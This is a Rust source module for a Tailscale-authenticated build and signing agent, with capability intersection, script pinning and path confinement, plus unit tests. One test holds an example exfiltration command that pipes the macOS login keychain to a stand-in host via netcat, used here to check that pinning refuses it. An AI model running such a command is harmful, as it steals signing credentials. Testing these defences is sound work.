//! `ops-agent` — the on-host half of the executor.
//!
//! One binary; behavior is set entirely by its local config (its own grant +
//! which caller identities may reach it). It listens **only on the tailnet
//! interface** and, on every request, resolves the caller via the local
//! Tailscale LocalAPI `whois`, maps node/tags to a caller grant, and runs the
//! step under the **intersection** of that grant with its own — the agent-side
//! half of double enforcement. A buggy or compromised daemon cannot make this
//! agent exceed its local grant.
//!
//! macOS deployment is an Aqua LaunchAgent (`LimitLoadToSessionType = Aqua`) so
//! build+sign run in the GUI security session where codesign can use the key.
//!
//! ## Trust boundary (read before touching `/run`)
//!
//! The capability model gates the *action label* (`build`/`sign`/…), not the
//! command bytes: a `Step` carries arbitrary `argv`/`shell_script` that the
//! agent runs verbatim once the label is permitted. An allow-listed caller is
//! therefore trusted to run **arbitrary code** on this host under any action it
//! is granted — the perimeter is the Tailscale `whois` allow-list plus the
//! tailnet-only bind (`ops-agent` refuses a non-tailnet `listen`), not the
//! capability token. Do not treat a narrow grant as a command sandbox. Every
//! request-facing route here (`/run`, `/pull`, `/health`) resolves identity and
//! authorizes before doing work — there is no unauthenticated surface.
//!
//! For the high-risk actuating steps that *are* fixed recipes — `sign` on the
//! signing-key host, `deploy` on a prod host — an optional [`ScriptPin`] narrows
//! the surface further: the host pins the exact `/bin/sh -c <script>` it will run
//! for that action, so an allow-listed-but-compromised caller can't substitute an
//! arbitrary script under a granted label (see [`check_script_pin`]). It's opt-in
//! per action; unpinned actions keep the perimeter above as their only boundary.

use crate::capability::CapabilitySet;
use crate::executor::Executor;
use crate::remote::LogSink;
use crate::step::{Action, ObserveKind, Step};
use crate::transport::LocalExec;
use crate::wire::{Frame, HealthResponse, PROTOCOL_VERSION, RunRequest};
use anyhow::{Context, Result};
use async_trait::async_trait;
use serde::Deserialize;
use std::net::{IpAddr, SocketAddr};
use std::path::{Component, Path, PathBuf};
use std::sync::Arc;

/// The agent's local configuration (TOML).
#[derive(Clone, Debug, Deserialize)]
pub struct AgentConfig {
    /// Tailnet socket to bind — set this to the host's tailnet address so the
    /// agent is never reachable off the tailnet.
    pub listen: SocketAddr,
    /// What this host itself is allowed to do. The ceiling for every caller.
    #[serde(default)]
    pub grant: GrantConfig,
    /// Which caller identities may reach this agent, and the grant each
    /// implies. The effective grant is `caller.caps ∩ self.grant`.
    #[serde(default)]
    pub allow: Vec<CallerGrant>,
    /// Root directory `/pull` may read from. Requests are confined under this
    /// canonicalized path; `..` and symlinks that escape it are rejected.
    /// `None` disables `/pull` entirely (it returns 403).
    #[serde(default)]
    pub pull_root: Option<PathBuf>,
    /// Approved-script pins. When a pin exists for an action, a `/run` step of
    /// that action is refused unless it is a `/bin/sh -c <script>` shell step
    /// whose script is in the pin's `allow` list. Actions without a pin are
    /// unconstrained (the capability + tailnet perimeter remains the boundary).
    /// See [`ScriptPin`].
    #[serde(default)]
    pub pin: Vec<ScriptPin>,
}

/// An approved-script pin for one action — the minimal "signed recipe" control.
///
/// The capability model gates the action *label*, and the high-risk actuating
/// steps (`sign` on the signing-key host, `deploy` on a prod host) are
/// legitimately `/bin/sh -c <script>` recipes, so the label alone can't stop an
/// allow-listed-but-compromised caller from sending an *arbitrary* script under a
/// granted action (e.g. exfiltrating the signing key under `sign`). Pinning the
/// exact script(s) the host is willing to run for an action closes that residual
/// without a recipe-signing PKI: the operator lists the known-good script, and
/// any other script — or a non-shell step — for that action is refused at `/run`.
#[derive(Clone, Debug, Deserialize)]
pub struct ScriptPin {
    /// Actuate token this pin applies to (`sign`, `deploy`, ...).
    pub action: String,
    /// Exact shell scripts permitted for this action.
    #[serde(default)]
    pub allow: Vec<String>,
}

/// Outcome of checking a step against the agent's script pins.
#[derive(Debug, PartialEq, Eq)]
pub enum PinDecision {
    /// No pin configured for this action — unconstrained by pinning.
    Unpinned,
    /// Pinned, and the step is an approved shell script.
    Approved,
    /// Pinned, and the step is refused: a non-listed script, or not a shell step.
    Refused,
}

/// Check a step against the agent's script pins (pure; unit-testable).
///
/// `Observe` actions are never pinned (read-only). For a pinned actuate action
/// the step must be a `/bin/sh -c <script>` shell step whose script is listed in
/// the pin's `allow`; anything else (a different script, or a literal-`argv`
/// step) is [`PinDecision::Refused`].
pub fn check_script_pin(config: &AgentConfig, step: &Step) -> PinDecision {
    let Some(token) = step.action.token() else {
        return PinDecision::Unpinned;
    };
    let Some(pin) = config.pin.iter().find(|p| p.action == token) else {
        return PinDecision::Unpinned;
    };
    match step.shell_script() {
        Some(script) if pin.allow.iter().any(|s| s == script) => PinDecision::Approved,
        _ => PinDecision::Refused,
    }
}

/// Grant tokens as they appear in config: `actuate = [...]`, `observe = [...]`.
#[derive(Clone, Debug, Default, Deserialize)]
pub struct GrantConfig {
    #[serde(default)]
    pub actuate: Vec<String>,
    #[serde(default)]
    pub observe: Vec<String>,
}

impl GrantConfig {
    pub fn to_caps(&self) -> CapabilitySet {
        CapabilitySet::from_tokens(&self.actuate, &self.observe)
    }
}

/// One allowed caller: a tailnet identity (a node name like `fw13` or a tag
/// like `tag:prod`) and the grant it implies.
#[derive(Clone, Debug, Deserialize)]
pub struct CallerGrant {
    pub identity: String,
    #[serde(default)]
    pub actuate: Vec<String>,
    #[serde(default)]
    pub observe: Vec<String>,
}

impl CallerGrant {
    fn to_caps(&self) -> CapabilitySet {
        CapabilitySet::from_tokens(&self.actuate, &self.observe)
    }
}

/// A resolved caller identity from `whois`: the peer's node name and its tags.
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct CallerIdentity {
    pub node: String,
    pub tags: Vec<String>,
}

impl CallerIdentity {
    /// Does this identity match a config `identity` string (a node name or a
    /// `tag:...`)?
    fn matches(&self, identity: &str) -> bool {
        self.node == identity || self.tags.iter().any(|t| t == identity)
    }
}

/// The outcome of authorizing a caller for an action.
#[derive(Debug, PartialEq, Eq)]
pub enum AuthDecision {
    /// Permitted; carries the effective (intersected) grant.
    Allow,
    /// The caller's identity is not in this agent's allow-list.
    UnknownCaller,
    /// Known caller, but the action is outside the effective grant.
    Denied,
}

/// The effective grant for a caller: `caller_grant ∩ agent_grant`, or `None` if
/// the caller is not in this agent's allow-list. The single source of truth for
/// what an authenticated caller may do — every route authorizes against it.
fn effective_grant(config: &AgentConfig, caller: &CallerIdentity) -> Option<CapabilitySet> {
    config
        .allow
        .iter()
        .find(|c| caller.matches(&c.identity))
        .map(|entry| entry.to_caps().intersect(&config.grant.to_caps()))
}

/// Pure authorization core — no IO, fully unit-testable. The effective grant is
/// `caller_grant ∩ agent_grant`; the action must be permitted by it.
pub fn authorize(config: &AgentConfig, caller: &CallerIdentity, action: &Action) -> AuthDecision {
    match effective_grant(config, caller) {
        None => AuthDecision::UnknownCaller,
        Some(effective) if effective.permits(action) => AuthDecision::Allow,
        Some(_) => AuthDecision::Denied,
    }
}

/// Resolve a peer IP to a tailnet identity by shelling `tailscale whois
/// --json`. Works identically under Headscale (it serves the same client CLI).
/// Runtime-only — not exercised by unit tests (no live tailnet in CI).
pub async fn tailscale_whois(peer: IpAddr) -> Result<CallerIdentity> {
    let out = tokio::process::Command::new("tailscale")
        .args(["whois", "--json", &peer.to_string()])
        .output()
        .await
        .context("spawning `tailscale whois`")?;
    anyhow::ensure!(
        out.status.success(),
        "tailscale whois {peer} failed: {}",
        String::from_utf8_lossy(&out.stderr)
    );
    #[derive(Deserialize)]
    struct Whois {
        #[serde(rename = "Node")]
        node: WhoisNode,
    }
    #[derive(Deserialize)]
    struct WhoisNode {
        #[serde(rename = "Name", default)]
        name: String,
        #[serde(rename = "Tags", default)]
        tags: Vec<String>,
    }
    let parsed: Whois = serde_json::from_slice(&out.stdout).context("parsing whois json")?;
    // `Name` is the MagicDNS FQDN (e.g. `fw13.tailnet.ts.net.`); reduce to the
    // bare hostname so config can say `fw13`.
    let node = parsed
        .node
        .name
        .trim_end_matches('.')
        .split('.')
        .next()
        .unwrap_or("")
        .to_string();
    Ok(CallerIdentity {
        node,
        tags: parsed.node.tags,
    })
}

// ---------------------------------------------------------------------------
// HTTP layer (axum). Kept thin: it resolves identity, authorizes, and runs the
// step locally via `LocalExec`, streaming NDJSON frames back.
// ---------------------------------------------------------------------------

/// A resolver mapping a peer address to its tailnet identity. Boxed so tests
/// can inject a stub instead of shelling out to `tailscale`.
pub type WhoisResolver = Arc<
    dyn Fn(IpAddr) -> futures_util::future::BoxFuture<'static, Result<CallerIdentity>>
        + Send
        + Sync,
>;

/// Shared server state.
#[derive(Clone)]
pub struct AgentState {
    pub config: Arc<AgentConfig>,
    pub whois: WhoisResolver,
}

impl AgentState {
    /// Build state with the real `tailscale whois` resolver.
    pub fn new(config: AgentConfig) -> Self {
        Self {
            config: Arc::new(config),
            whois: Arc::new(|ip| Box::pin(tailscale_whois(ip))),
        }
    }
}

/// A [`LogSink`] that forwards each chunk as an NDJSON [`Frame::Chunk`] line
/// into the response body channel.
struct ChannelSink {
    tx: tokio::sync::mpsc::Sender<Result<axum::body::Bytes, std::io::Error>>,
}

#[async_trait]
impl LogSink for ChannelSink {
    async fn write_chunk(&mut self, bytes: &[u8]) {
        let text = String::from_utf8_lossy(bytes).into_owned();
        let line = Frame::Chunk { text }.to_line();
        let _ = self.tx.send(Ok(axum::body::Bytes::from(line))).await;
    }
}

/// Build the axum router. Serve it with
/// `.into_make_service_with_connect_info::<SocketAddr>()` so handlers see the
/// peer address. Every route resolves the caller's tailnet identity and
/// authorizes before doing work — there is no unauthenticated surface.
pub fn router(state: AgentState) -> axum::Router {
    use axum::routing::{get, post};
    axum::Router::new()
        .route("/health", get(health))
        .route("/run", post(run))
        .route("/pull", get(pull))
        .with_state(state)
        // A RunRequest is a single Step (argv + optional shell script); cap the
        // body so a malformed/oversized POST can't buffer freely.
        .layer(axum::extract::DefaultBodyLimit::max(1024 * 1024))
}

/// Resolve the caller's tailnet identity and effective grant, or an early
/// 403 response. The single gate every route passes through: a `whois` failure
/// or an unknown caller never reaches handler logic.
async fn resolve_caller(
    state: &AgentState,
    peer: IpAddr,
) -> Result<(CallerIdentity, CapabilitySet), axum::response::Response> {
    use axum::http::StatusCode;
    use axum::response::IntoResponse;
    let identity = (state.whois)(peer)
        .await
        .map_err(|e| (StatusCode::FORBIDDEN, format!("whois failed: {e}")).into_response())?;
    let effective = effective_grant(&state.config, &identity).ok_or_else(|| {
        (
            StatusCode::FORBIDDEN,
            format!("unknown caller: {}", identity.node),
        )
            .into_response()
    })?;
    Ok((identity, effective))
}

async fn health(
    axum::extract::State(state): axum::extract::State<AgentState>,
    axum::extract::ConnectInfo(peer): axum::extract::ConnectInfo<SocketAddr>,
) -> axum::response::Response {
    use axum::response::IntoResponse;
    // Liveness is observable to any caller, but the grant detail (what this host
    // can do) is only disclosed to an authenticated, allow-listed caller — an
    // unknown peer learns the agent is up, nothing more.
    let (actuate, observe) = match resolve_caller(&state, peer.ip()).await {
        Ok((_, effective)) => (
            effective.actuate_tokens().map(String::from).collect(),
            effective.observe_kinds().map(ObserveKind::token).collect(),
        ),
        Err(_) => (Vec::new(), Vec::new()),
    };
    axum::Json(HealthResponse {
        ok: true,
        version: PROTOCOL_VERSION,
        actuate,
        observe,
    })
    .into_response()
}

async fn run(
    axum::extract::State(state): axum::extract::State<AgentState>,
    axum::extract::ConnectInfo(peer): axum::extract::ConnectInfo<SocketAddr>,
    axum::Json(req): axum::Json<RunRequest>,
) -> axum::response::Response {
    use axum::http::StatusCode;
    use axum::response::IntoResponse;

    // Identity → authorization (agent-side enforcement). Note: this authorizes
    // the action *label*; the step's argv runs verbatim once permitted (see the
    // trust-boundary note at the top of this module).
    let (identity, effective) = match resolve_caller(&state, peer.ip()).await {
        Ok(pair) => pair,
        Err(resp) => return resp,
    };
    if !effective.permits(&req.step.action) {
        return (
            StatusCode::FORBIDDEN,
            format!(
                "action `{:?}` denied for {}",
                req.step.action, identity.node
            ),
        )
            .into_response();
    }

    // Script pin (minimal signed-recipe control): when this host pins an
    // action's script, only the approved script runs — so a granted-but-arbitrary
    // command (e.g. an exfiltration script under the `sign` grant) is refused
    // even though the action label is permitted. Unpinned actions are unaffected.
    if check_script_pin(&state.config, &req.step) == PinDecision::Refused {
        return (
            StatusCode::FORBIDDEN,
            format!(
                "script pin: step for action `{:?}` is not an approved script on {}",
                req.step.action, identity.node
            ),
        )
            .into_response();
    }

    // Run locally under the effective grant, streaming NDJSON frames back.
    let (tx, rx) = tokio::sync::mpsc::channel::<Result<axum::body::Bytes, std::io::Error>>(64);
    tokio::spawn(async move {
        let exec = LocalExec::new(effective);
        let mut sink = ChannelSink { tx: tx.clone() };
        let terminal = match exec.run_streaming(&req.step, &mut sink).await {
            Ok(out) => Frame::Exit {
                code: out.status.code().unwrap_or(-1),
            },
            Err(e) => Frame::Error {
                message: format!("{e:#}"),
            },
        };
        let _ = tx
            .send(Ok(axum::body::Bytes::from(terminal.to_line())))
            .await;
    });

    let stream = tokio_stream::wrappers::ReceiverStream::new(rx);
    axum::body::Body::from_stream(stream).into_response()
}

#[derive(Deserialize)]
struct PullQuery {
    path: PathBuf,
}

/// Confine `requested` to `root`: both are canonicalized (resolving `..` and
/// symlinks), and the result must lie under `root`. Returns `None` on any
/// escape or if the path does not resolve (caller maps that to 403/404).
fn confine_to_root(root: &Path, requested: &Path) -> Option<PathBuf> {
    // Reject obviously-hostile shapes before hitting the filesystem.
    if requested
        .components()
        .any(|c| matches!(c, Component::ParentDir))
    {
        return None;
    }
    let canon_root = root.canonicalize().ok()?;
    let canon = requested.canonicalize().ok()?;
    canon.starts_with(&canon_root).then_some(canon)
}

async fn pull(
    axum::extract::State(state): axum::extract::State<AgentState>,
    axum::extract::ConnectInfo(peer): axum::extract::ConnectInfo<SocketAddr>,
    axum::extract::Query(q): axum::extract::Query<PullQuery>,
) -> axum::response::Response {
    use axum::http::StatusCode;
    use axum::response::IntoResponse;

    // Identity → authorization. Retrieving an artifact is an observe-plane
    // action with its own grant: `artifact` covers reads under `pull_root`,
    // which is a different thing to want than a build's log output.
    let (_identity, effective) = match resolve_caller(&state, peer.ip()).await {
        Ok(pair) => pair,
        Err(resp) => return resp,
    };
    if !effective.permits_observe(&ObserveKind::Artifact) {
        return (
            StatusCode::FORBIDDEN,
            "pull denied: requires `artifact` observe grant",
        )
            .into_response();
    }

    // Confine to the configured artifacts root. No root configured ⇒ disabled.
    let Some(root) = &state.config.pull_root else {
        return (
            StatusCode::FORBIDDEN,
            "pull disabled: no pull_root configured",
        )
            .into_response();
    };
    let Some(path) = confine_to_root(root, &q.path) else {
        return (
            StatusCode::NOT_FOUND,
            format!("pull {}: not found under pull_root", q.path.display()),
        )
            .into_response();
    };

    // Stream the file in chunks rather than buffering it whole (artifacts can be
    // hundreds of MB) — same channel/Body pattern as `/run`.
    let file = match tokio::fs::File::open(&path).await {
        Ok(f) => f,
        Err(e) => {
            return (
                StatusCode::NOT_FOUND,
                format!("pull {}: {e}", path.display()),
            )
                .into_response();
        }
    };
    let (tx, rx) = tokio::sync::mpsc::channel::<Result<axum::body::Bytes, std::io::Error>>(8);
    tokio::spawn(async move {
        use tokio::io::AsyncReadExt;
        let mut file = file;
        let mut buf = vec![0u8; 64 * 1024];
        loop {
            match file.read(&mut buf).await {
                Ok(0) => break,
                Ok(n) => {
                    if tx
                        .send(Ok(axum::body::Bytes::copy_from_slice(&buf[..n])))
                        .await
                        .is_err()
                    {
                        break;
                    }
                }
                Err(e) => {
                    let _ = tx.send(Err(e)).await;
                    break;
                }
            }
        }
    });
    let stream = tokio_stream::wrappers::ReceiverStream::new(rx);
    axum::body::Body::from_stream(stream).into_response()
}

#[cfg(test)]
mod tests {
    use super::*;

    fn cfg() -> AgentConfig {
        AgentConfig {
            listen: "127.0.0.1:0".parse().unwrap(),
            // This host (mbp-like) may build/sign/notarize/staple.
            grant: GrantConfig {
                actuate: vec![
                    "build".into(),
                    "sign".into(),
                    "notarize".into(),
                    "staple".into(),
                ],
                observe: vec!["build-log".into()],
            },
            allow: vec![CallerGrant {
                identity: "fw13".into(),
                actuate: vec![
                    "build".into(),
                    "sign".into(),
                    "notarize".into(),
                    "staple".into(),
                ],
                observe: vec!["build-log".into()],
            }],
            pull_root: None,
            pin: Vec::new(),
        }
    }

    fn fw13() -> CallerIdentity {
        CallerIdentity {
            node: "fw13".into(),
            tags: vec![],
        }
    }

    #[test]
    fn known_caller_granted_action_is_allowed() {
        assert_eq!(
            authorize(&cfg(), &fw13(), &Action::Sign),
            AuthDecision::Allow
        );
    }

    #[test]
    fn unknown_caller_is_rejected() {
        let stranger = CallerIdentity {
            node: "laptop-x".into(),
            tags: vec![],
        };
        assert_eq!(
            authorize(&cfg(), &stranger, &Action::Sign),
            AuthDecision::UnknownCaller
        );
    }

    #[test]
    fn action_outside_agent_grant_is_denied_even_if_caller_asks() {
        // Caller is granted only what config lists; deploy is not in either set.
        assert_eq!(
            authorize(&cfg(), &fw13(), &Action::Deploy),
            AuthDecision::Denied
        );
    }

    #[test]
    fn intersection_floors_a_too_broad_caller() {
        // A caller granted `deploy` but the agent host only grants build/sign:
        // deploy must be denied (agent grant is the ceiling).
        let mut c = cfg();
        c.allow[0].actuate.push("deploy".into());
        assert_eq!(
            authorize(&c, &fw13(), &Action::Deploy),
            AuthDecision::Denied
        );
        assert_eq!(authorize(&c, &fw13(), &Action::Sign), AuthDecision::Allow);
    }

    #[test]
    fn tag_identity_matches() {
        let mut c = cfg();
        c.allow[0].identity = "tag:builder".into();
        let tagged = CallerIdentity {
            node: "whatever".into(),
            tags: vec!["tag:builder".into()],
        };
        assert_eq!(authorize(&c, &tagged, &Action::Sign), AuthDecision::Allow);
    }

    #[test]
    fn pull_requires_a_known_caller_with_artifact_observe() {
        // An unknown caller has no effective grant at all.
        let stranger = CallerIdentity {
            node: "stranger".into(),
            tags: vec![],
        };
        assert!(effective_grant(&cfg(), &stranger).is_none());

        // A known caller granted only actuate (no observe) cannot pull.
        let mut c = cfg();
        c.allow[0].observe = vec![];
        c.grant.observe = vec![];
        let eff = effective_grant(&c, &fw13()).unwrap();
        assert!(
            !eff.permits_observe(&ObserveKind::Artifact),
            "no observe grant ⇒ pull denied"
        );

        // `build-log` alone does not open /pull — the two grants are independent.
        let eff = effective_grant(&cfg(), &fw13()).unwrap();
        assert!(eff.permits_observe(&ObserveKind::BuildLog));
        assert!(
            !eff.permits_observe(&ObserveKind::Artifact),
            "build-log ⇏ artifact"
        );

        // Granting `artifact` on both sides ⇒ pull permitted.
        let mut c = cfg();
        c.allow[0].observe.push("artifact".into());
        c.grant.observe.push("artifact".into());
        let eff = effective_grant(&c, &fw13()).unwrap();
        assert!(eff.permits_observe(&ObserveKind::Artifact));
    }

    fn sign_release_script() -> &'static str {
        ". /etc/bento/secrets.env && ./dist/release-macos.sh --keychain"
    }

    fn cfg_with_sign_pin() -> AgentConfig {
        let mut c = cfg();
        c.pin = vec![ScriptPin {
            action: "sign".into(),
            allow: vec![sign_release_script().into()],
        }];
        c
    }

    #[test]
    fn unpinned_action_is_unconstrained() {
        // No pins configured: any sign shell step passes the pin check.
        let step = Step::shell(Action::Sign, "do whatever");
        assert_eq!(check_script_pin(&cfg(), &step), PinDecision::Unpinned);
    }

    #[test]
    fn pinned_action_allows_the_approved_script() {
        let step = Step::shell(Action::Sign, sign_release_script());
        assert_eq!(
            check_script_pin(&cfg_with_sign_pin(), &step),
            PinDecision::Approved
        );
    }

    #[test]
    fn pinned_action_refuses_a_different_script() {
        // The exfiltration case: granted `sign`, but the script isn't the pinned one.
        let evil = Step::shell(
            Action::Sign,
            "cat ~/Library/Keychains/login.keychain | nc evil 9999",
        );
        assert_eq!(
            check_script_pin(&cfg_with_sign_pin(), &evil),
            PinDecision::Refused
        );
    }

    #[test]
    fn pinned_action_refuses_a_non_shell_step() {
        // A literal-argv step can't be a pinned recipe; refuse it.
        let step = Step::new(
            Action::Sign,
            ["codesign", "--force", "/Applications/Evil.app"],
        );
        assert_eq!(
            check_script_pin(&cfg_with_sign_pin(), &step),
            PinDecision::Refused
        );
    }

    #[test]
    fn pin_on_one_action_does_not_affect_another() {
        // A `sign` pin leaves `build` steps unconstrained.
        let build = Step::shell(Action::Build, "set -e; cargo build --release");
        assert_eq!(
            check_script_pin(&cfg_with_sign_pin(), &build),
            PinDecision::Unpinned
        );
    }

    #[test]
    fn confine_rejects_traversal_and_escape() {
        let dir = tempfile::tempdir().unwrap();
        let root = dir.path().join("artifacts");
        std::fs::create_dir_all(&root).unwrap();
        std::fs::write(root.join("ok.bin"), b"x").unwrap();
        // A secret one level above the root.
        std::fs::write(dir.path().join("secret"), b"s").unwrap();

        // In-root file resolves.
        assert!(confine_to_root(&root, &root.join("ok.bin")).is_some());
        // `..` escape is rejected.
        assert!(confine_to_root(&root, &root.join("../secret")).is_none());
        // Absolute path outside the root is rejected.
        assert!(confine_to_root(&root, &dir.path().join("secret")).is_none());
        // A non-existent in-root path does not resolve (caller maps to 404).
        assert!(confine_to_root(&root, &root.join("missing")).is_none());
    }
}